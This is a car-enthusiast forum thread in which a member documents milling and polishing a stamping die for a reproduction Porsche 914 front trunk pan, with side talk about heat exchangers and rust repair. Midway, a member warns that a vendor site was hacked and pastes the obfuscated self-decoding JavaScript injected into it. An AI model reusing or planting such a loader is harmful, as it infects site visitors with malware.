Well its been a little while since I had an update.
The male half is done now, and I am starting the prep work for the female side.
In total the finishing bit ran for about 280 hours. I had to take two passes because about every 24hours I had to change the carbide insert. After putting in a new carbide, the height difference would be .003-.005 of an inch. After the final bit was finished, I drilled and reamed a hole through the mounting plate into the top of the table(circled in red). The reason I had to do this is because I machined all the way around the die and there were no flat edges to pick up off of if I ever wanted to put the die bad onto the mill for any reason. I then recorded the machine coordinates on the mounting plate to ensure the datum point is in the exact same location every time.
Now I still have to polish this die, which will most likely take a full two weeks.
Click to view attachment
Full Version: Front trunk Floor pan
Why does the die have to be polished? Just curious.
Pete, Thanks
That is really interesting. Thanks for posting this. I hope you will show us the compete process. Thanks again.
That is really interesting. Thanks for posting this. I hope you will show us the compete process. Thanks again.
QUOTE(zymurgist @ Nov 4 2011, 09:26 AM) 
Why does the die have to be polished? Just curious.
There are still tool marks on the die. It needs to have a mirror finish on it because when the metal is stamped, it flows. When there are tooling marks, it will cause friction and thus cause tearing or wrinkling.
The polishing process is brutal. First we use 60 grit boat stones to take out most of the larger marks. Then we work our way down from 60 to 120 to 200 to 400 diamond grit pads.
QUOTE(peteyd @ Nov 4 2011, 03:14 PM)
QUOTE(zymurgist @ Nov 4 2011, 09:26 AM)
Why does the die have to be polished? Just curious.
There are still tool marks on the die. It needs to have a mirror finish on it because when the metal is stamped, it flows. When there are tooling marks, it will cause friction and thus cause tearing or wrinkling.
The polishing process is brutal. First we use 60 grit boat stones to take out most of the larger marks. Then we work our way down from 60 to 120 to 200 to 400 diamond grit pads.
Wow!
So you polish the dies and make a run of parts, then the dies go in storage until more parts are needed... I am guessing that you coat the dies with cosmoline or something similar to prevent rust while they are in storage.
This is all fascinating to me... I'm a computer geek so I work with products of a more virtual nature.
QUOTE(zymurgist @ Nov 4 2011, 11:45 AM)
QUOTE(peteyd @ Nov 4 2011, 03:14 PM)
QUOTE(zymurgist @ Nov 4 2011, 09:26 AM)
Why does the die have to be polished? Just curious.
There are still tool marks on the die. It needs to have a mirror finish on it because when the metal is stamped, it flows. When there are tooling marks, it will cause friction and thus cause tearing or wrinkling.
The polishing process is brutal. First we use 60 grit boat stones to take out most of the larger marks. Then we work our way down from 60 to 120 to 200 to 400 diamond grit pads.
Wow!
So you polish the dies and make a run of parts, then the dies go in storage until more parts are needed... I am guessing that you coat the dies with cosmoline or something similar to prevent rust while they are in storage.
This is all fascinating to me... I'm a computer geek so I work with products of a more virtual nature.
You got it! I will probably stamp out around 50 to start with, and see how they sell. I dont anticipate high sales with this part right away. I would then start to produce the suspension mounting points and build a jig to weld them in. I would then give the option to the buyer to buy just the pan, for the cars that have had AC installed in the past, and then the pan with the suspension mounting points for the severely rusted cars or that have had front end damage.
How's about stamping out some steel roofs for those who may want a permanent hard top??
Be nice to eliminate some, squeaks, leaks, and noise, along with a stiffer chassis.
Be nice to eliminate some, squeaks, leaks, and noise, along with a stiffer chassis.
QUOTE(partwerks @ Nov 5 2011, 07:42 PM)
How's about stamping out some steel roofs for those who may want a permanent hard top??
Be nice to eliminate some, squeaks, leaks, and noise, along with a stiffer chassis.
If you got together a big enough pre-paid group, they might. But looking over this thread, it's too big a project to do unless there is a guaranteed market. JMO
I just love this thread and that someone loves our 914's enough to make these badly needed parts.
I know my 914-6 has some rust, not bad but typical passenger side issues. I won't know how bad until the car begins the body restoration phase of my project.
I am still in the process of gathering mechanical parts for the build.
I know my 914-6 has some rust, not bad but typical passenger side issues. I won't know how bad until the car begins the body restoration phase of my project.
I am still in the process of gathering mechanical parts for the build.
any tricks/advice on welding to our 1970 sheet metal. maintaining structural integrity between the new and older metals is well 
QUOTE(914 shifter @ Nov 6 2011, 05:08 PM)
any tricks/advice on welding to our 1970 sheet metal. maintaining structural integrity between the new and older metals is well
Cut the rust back to where you have good clean solid metal and there is no issue to be had
Make a nice tight fit up and buttweld the two panels togetherOh and Pete....freaking sweet
Very nice explanation of the process. It seems like you could reposition the holder for the cutters in relation to the just cut surface of the old cutter and not get the .003-.005 difference. I'm guessing the cutter has several seperate carbide cutters mounted in it? and thats where the variance is? Or is it one solid carbide tipped cutter?
Sorry I went back and read your description again, it's the difference in the dimensions of the carbide insert.
Sorry I went back and read your description again, it's the difference in the dimensions of the carbide insert.
A hint for your next part. This should be easy to do:
!! We want new heat exchangers !!
!! We want new heat exchangers !!
very nice, your hard work makes mine easier!! cant wait to get my order for my -6 project
QUOTE(Valy @ Nov 17 2011, 08:40 PM)
A hint for your next part. This should be easy to do:
!! We want new heat exchangers !!
Sweet programing. I used to make molds. Have you ever used the new highfeed cutters. Ingersoll has a sweet lineup. Steels at 350 ipm.!
I have the hole in the front of my 914 from the a/c. I could use a new front to fill the hole.
jcl
I have the hole in the front of my 914 from the a/c. I could use a new front to fill the hole.
jcl
Little update...
I have taken the die off, obviously, and started to work on another die. I have a deadline to meet in February for the 356 literature swapmeet. I am making a hood die for a 356 A coupe, so that is taking up the majority of my time. After I am done this project I will focus my time on the 914 trunk pan again.
John at SSI already has the tooling for the heat exchangers. I know you all want me to make these, but I am not familiar with stamping out stainless steel. I would also have to have a tube bender, which is not in my budget. Sorry guys, but we will have to stick with what is out there.
A hint for your next part. This should be easy to do:
!! We want new heat exchangers !!
I have not used these new highfeed cutters yet. What kind of rpm do you have to be running to feed that quick?
Sweet programing. I used to make molds. Have you ever used the new highfeed cutters. Ingersoll has a sweet lineup. Steels at 350 ipm.!
I have the hole in the front of my 914 from the a/c. I could use a new front to fill the hole.
jcl
I have taken the die off, obviously, and started to work on another die. I have a deadline to meet in February for the 356 literature swapmeet. I am making a hood die for a 356 A coupe, so that is taking up the majority of my time. After I am done this project I will focus my time on the 914 trunk pan again.
John at SSI already has the tooling for the heat exchangers. I know you all want me to make these, but I am not familiar with stamping out stainless steel. I would also have to have a tube bender, which is not in my budget. Sorry guys, but we will have to stick with what is out there.
QUOTE(Valy @ Nov 17 2011, 08:40 PM)
A hint for your next part. This should be easy to do:
!! We want new heat exchangers !!
I have not used these new highfeed cutters yet. What kind of rpm do you have to be running to feed that quick?
QUOTE(a914622 @ Nov 17 2011, 09:07 PM)
Sweet programing. I used to make molds. Have you ever used the new highfeed cutters. Ingersoll has a sweet lineup. Steels at 350 ipm.!
I have the hole in the front of my 914 from the a/c. I could use a new front to fill the hole.
jcl
QUOTE(peteyd @ Nov 18 2011, 12:30 PM)
John at SSI already has the tooling for the heat exchangers. I know you all want me to make these, but I am not familiar with stamping out stainless steel. I would also have to have a tube bender, which is not in my budget. Sorry guys, but we will have to stick with what is out there.
He's got the tooling but what he does *not* have is the intention of ever using it again.
I haven't talked to him in a while, but i'd be surprised if his opinion has changed on the matter.
Someone should really buy all the tooling from him and start making new heat exchangers.
![popcorn[1].gif](http://www.914world.com/bbs2/style_emoticons/default/popcorn[1].gif)
They have been made - Mittlemotor sells them.
QUOTE(mepstein @ Nov 18 2011, 01:17 PM)
They have been made - Mittlemotor sells them.
Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth.
Is that better?
QUOTE(SirAndy @ Nov 18 2011, 04:28 PM)
QUOTE(mepstein @ Nov 18 2011, 01:17 PM)
They have been made - Mittlemotor sells them.
Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth.
Is that better?
I think it would be risky to duplicate a product that is already being made and sells to a very small audience. There are still a lot of used heat exchangers floating around for guys on a budget. Maybe a group buy?
What about resto design making steel bumpers?
Especially a front bumper with a GT oil cooler cutout.
QUOTE(mepstein @ Nov 18 2011, 02:01 PM)
I think it would be risky to duplicate a product that is already being made and sells to a very small audience. There are still a lot of used heat exchangers floating around for guys on a budget. Maybe a group buy?
I remember when a set of brand new 2.0L SSI exchangers still in the original box would sell for less than $200.
If someone could make them for double that today, they would sell like hotcakes ...
The problem is John will not sell just the 914 tooling. He wants to sell his business as a whole. I don't know where he is in that process currently, but he said there was an interested party.
Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth.
Is that better?
QUOTE(SirAndy @ Nov 18 2011, 01:28 PM)
QUOTE(mepstein @ Nov 18 2011, 01:17 PM)
They have been made - Mittlemotor sells them.
Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth.
Is that better?
Is there really a market for steel bumpers? I thought that there are plenty of used bumpers out there still.
QUOTE(peteyd @ Nov 18 2011, 03:12 PM)
The problem is John will not sell just the 914 tooling. He wants to sell his business as a whole. I don't know where he is in that process currently, but he said there was an interested party.
The problem with John is that he's saying that same line for over 10 years now.
Some 8 years ago, i sat on the table with him and an interested party that had the money to close the deal on said table. John managed to drag it out until the interested party was not interested anymore.
He could have sold the whole lot right then and there.
Honestly, i don't think he really wants to sell the business ...
QUOTE(peteyd @ Nov 18 2011, 06:15 PM)
Is there really a market for steel bumpers? I thought that there are plenty of used bumpers out there still.
I don't know if there is a market. I guess it depends on the price. A GT version would be nice.
I ran the 1.5 dia at 3000rpm .06 deep at 350 ipm. in 4340 with about 8.5-11 hours per edge tool life (dry) air blast.
http://www.ingersoll-imc.com/en/ingersollt...s_vidplayer.htm is a video
There is also a power feed mini that has 7 flutes. 650-850 sfm at .025 per tooth feed at .035 deep dry.
anyway you can get more tool life,faster running dry with air blast in steels.
Keep up the good work. I miss making moldes. Im jelous
jcl
http://www.ingersoll-imc.com/en/ingersollt...s_vidplayer.htm is a video
There is also a power feed mini that has 7 flutes. 650-850 sfm at .025 per tooth feed at .035 deep dry.
anyway you can get more tool life,faster running dry with air blast in steels.
Keep up the good work. I miss making moldes. Im jelous
jcl
QUOTE(mepstein @ Nov 18 2011, 06:27 PM)
QUOTE(peteyd @ Nov 18 2011, 06:15 PM)
Is there really a market for steel bumpers? I thought that there are plenty of used bumpers out there still.
Somebody already makes those ...
!!! LINK REMOVED DUE TO INJECTED VIRUS ON THAT PAGE !!!
http://www.914world.com/bbs2/index.php?showtopic=108722
QUOTE(SirAndy @ Nov 19 2011, 12:45 AM)
QUOTE(mepstein @ Nov 18 2011, 06:27 PM)
QUOTE(peteyd @ Nov 18 2011, 06:15 PM)
Is there really a market for steel bumpers? I thought that there are plenty of used bumpers out there still.
Somebody already makes those ...
!!! LINK REMOVED DUE TO INJECTED VIRUS ON THAT PAGE !!!
http://www.914world.com/bbs2/index.php?showtopic=108722
John doesn't want to sell SSI unless he can get enough out of it to buy an island in the south Pacific. I too been on the periphary of a couple near purchases, and John always drags it out, or wants to sell vintage equipment (that's too big and too expensive to move) for homerun prices.
QUOTE(peteyd @ Nov 18 2011, 03:12 PM)
The problem is John will not sell just the 914 tooling. He wants to sell his business as a whole. I don't know where he is in that process currently, but he said there was an interested party.
QUOTE(SirAndy @ Nov 18 2011, 01:28 PM)
QUOTE(mepstein @ Nov 18 2011, 01:17 PM)
They have been made - Mittlemotor sells them.
Ok, then let me rephrase that: Someone should really buy his tooling and make them for a price that is less that what the average 914 is worth.
Is that better?
Regarding the heat exchangers:
They don't have to be SS. Just plain tin will probably outlive the cars at this stage.
And yes, I would buy them for $400. Should I pre-order?
the link to the bumpers above loads virus!!
QUOTE(a914622 @ Nov 19 2011, 12:38 PM)
the link to the bumpers above loads virus!!
Well, what do you know, you are right!!!
Looks like they got hacked and someone injected a block of malicious JavaScript code into the webpage.
I removed the link in my previous posts ...
Any details on this virus?
QUOTE(Bartlett 914 @ Nov 20 2011, 07:40 AM)
Any details on this virus?
Can't say. Firefox blocked it, but i can see the injected code when looking at the page source.
Here you go:
CODE
var x="function f(x){var i,o=\"\",l=x.length;for(i=0;i<l;i+=2) {if(i+1<l)o+=" +
"x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" +
" r,i=o\\\"\\\"o,=l.xelgnhtl,o=;lhwli(e.xhcraoCedtAl(1/)3=!84{)rt{y+xx=l;=+;" +
"lc}tahce({)}}of(r=i-l;1>i0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" +
"\"(9),8\\\"\\\\25\\\\05\\\\03\\\\\\\\27\\\\02\\\\00\\\\\\\\10\\\\07\\\\02\\" +
"\\\\\\0I01\\\\\\\\32\\\\0H\\\\@K14\\\\0O\\\\kOsyiuxhgpzctf~Rav3gV.s{n$4i03\\"+
"\\\\\\26\\\\04\\\\03\\\\\\\\2W03\\\\\\\\07\\\\0Q\\\\04\\\\06\\\\01\\\\\\\\0" +
"2\\\\05\\\\00\\\\\\\\G$\\\\?\\\\\\\\:\\\\/1#0qu\\\\r\\\\\\\\\\\\\\\"\\\\\\\\"+
"\\\\\\\"(\\\\)g7*Q&ITVKC]@DL_HiMC%Hor~u~tS3m0ul#mB`R^26\\\\02\\\\03\\\\\\\\" +
"21\\\\06\\\\00\\\\\\\\31\\\\04\\\\03\\\\\\\\33\\\\0D\\\\34\\\\00\\\\01\\\\\\"+
"\\01\\\\07\\\\01\\\\\\\\25\\\\0=\\\\>3\\\"\\\\f(;} ornture;}))++(y)^(iAtdeC" +
"oarchx.e(odrChamCro.fngriSt+=;o27=1y%+;y+9)<8(iif){++;i<l;i=0(ior;fthnglex." +
"l=\\\\,\\\\\\\"=\\\",o iar{vy)x,f(n ioctun\\\"f)\")" ;
while(x=eval(x));
I had spoke to John at one point about the tooling for the heat exchangers. He's not interested in selling, or selling them ad units. He's currently producing the complete heat exchangers for a party overseas that is reselling them. Pretty much he would make complete units but there would have to be a commitment for 300 sets to make it even close to cost effective.
Hey Pete, I'm with Eric we need another group buy on GT metal flare's, I'm in for a set and I think there are more out there for more also. Want do you say John 
Stainless HE's are nice and all, but seems a lot like overkill to me, especially considering the life our cars are living now-a-days. I think mild steel is plenty for what we need. And more importantly, would be offering slightly larger pipe sizes.Offer them in a ceramic coating option, and you have something that's cheaper to produce, and will likely last just as long as the SSIs.
QUOTE(McMark @ Nov 21 2011, 12:03 AM)
Stainless HE's are nice and all, but seems a lot like overkill to me, especially considering the life our cars are living now-a-days. I think mild steel is plenty for what we need. And more importantly, would be offering slightly larger pipe sizes.Offer them in a ceramic coating option, and you have something that's cheaper to produce, and will likely last just as long as the SSIs.
Says a west coast guy.....
After a long hiatus, I have gotten back to work on the female side of the front trunk pan.
The male side has been all polished, which took two weeks. so now I have to machine the female side and a drawpad, and then bingo bango, a new panel!
Here is a pic of the first rough cut!
Click to view attachment
The male side has been all polished, which took two weeks. so now I have to machine the female side and a drawpad, and then bingo bango, a new panel!
Here is a pic of the first rough cut!
Click to view attachment
Excellent! This is so cool to see how this happens.
This might be the coolest thread I've ever read. Thanks, Pete, for going to the trouble of documenting the process. It's very educational.
Excellent Pete. Look like it will be done just in time for me to weld one into the 72.. I'm running out of things to weld. :-)
How about a prestamped hell hole liner (battery side) ?? ....... 
Thanks everyone for all the positive responses. I am glad you guys are enjoying the process.
Over the weekend I got some more milling done. The center has been gone over with a 1.25" ballnose, and will still need to be finished with a .375" ballnose to be able to reach all the tight radiuses.
In the photo it is finishing the flatter areas outside of the pocket, so that I dont have to run over it with another cutter which would just be wasting time.
Click to view attachment
Over the weekend I got some more milling done. The center has been gone over with a 1.25" ballnose, and will still need to be finished with a .375" ballnose to be able to reach all the tight radiuses.
In the photo it is finishing the flatter areas outside of the pocket, so that I dont have to run over it with another cutter which would just be wasting time.
Click to view attachment
QUOTE(gothspeed @ Mar 16 2012, 11:47 AM)
How about a prestamped hell hole liner (battery side) ?? .......
Im not quite sure what you mean. All the pieces for that area are being made currently.
QUOTE
QUOTE(gothspeed @ Mar 16 2012, 11:47 AM)
How about a prestamped hell hole liner (battery side) ?? .......
Im not quite sure what you mean. All the pieces for that area are being made currently.
How about a prestamped hell hole liner (battery side) ?? .......
Im not quite sure what you mean. All the pieces for that area are being made currently.
He is talking about a piece that covers the corugated inside long hell hole piece behind the -4 motor mount and for -6's also.
It would be u shaped with a curve and pinch weld flanges.
What about 11 inch rear flairs ??
QUOTE(sixnotfour @ Mar 19 2012, 09:52 AM)
What about 11 inch rear flairs ??
Definately not enough of a market for those, too much initial cost for the dies
When will this part be ready to buy?
Will you make different parts of it or just all of it ?
have you any ideas about the price ?
Niklas
Will you make different parts of it or just all of it ?
have you any ideas about the price ?
Niklas
QUOTE(peteyd @ Mar 19 2012, 09:43 AM)
QUOTE(gothspeed @ Mar 16 2012, 11:47 AM)
How about a prestamped hell hole liner (battery side) ?? .......
Im not quite sure what you mean. All the pieces for that area are being made currently.
Maybe others can chime in but IMO the greater part of most 914s have 'hell hole' corrosion. Mine has the superficial liner completely gone.
this is the spot;
http://www.914world.com/bbs2/index.php?sho...p;hl=hell++hole
There is a kit but it is all flat pieces that needs welding and fabrication in and of itself.
If there was a preshaped piece that droped in and spot welded or riveted in place ............ then seam sealed and painted .......... that would be the ticket!!!!!
It would be small and you would sell A LOT of them!!!
I did a quick 'title' search for hell hole and got three pages worth right off the bat.
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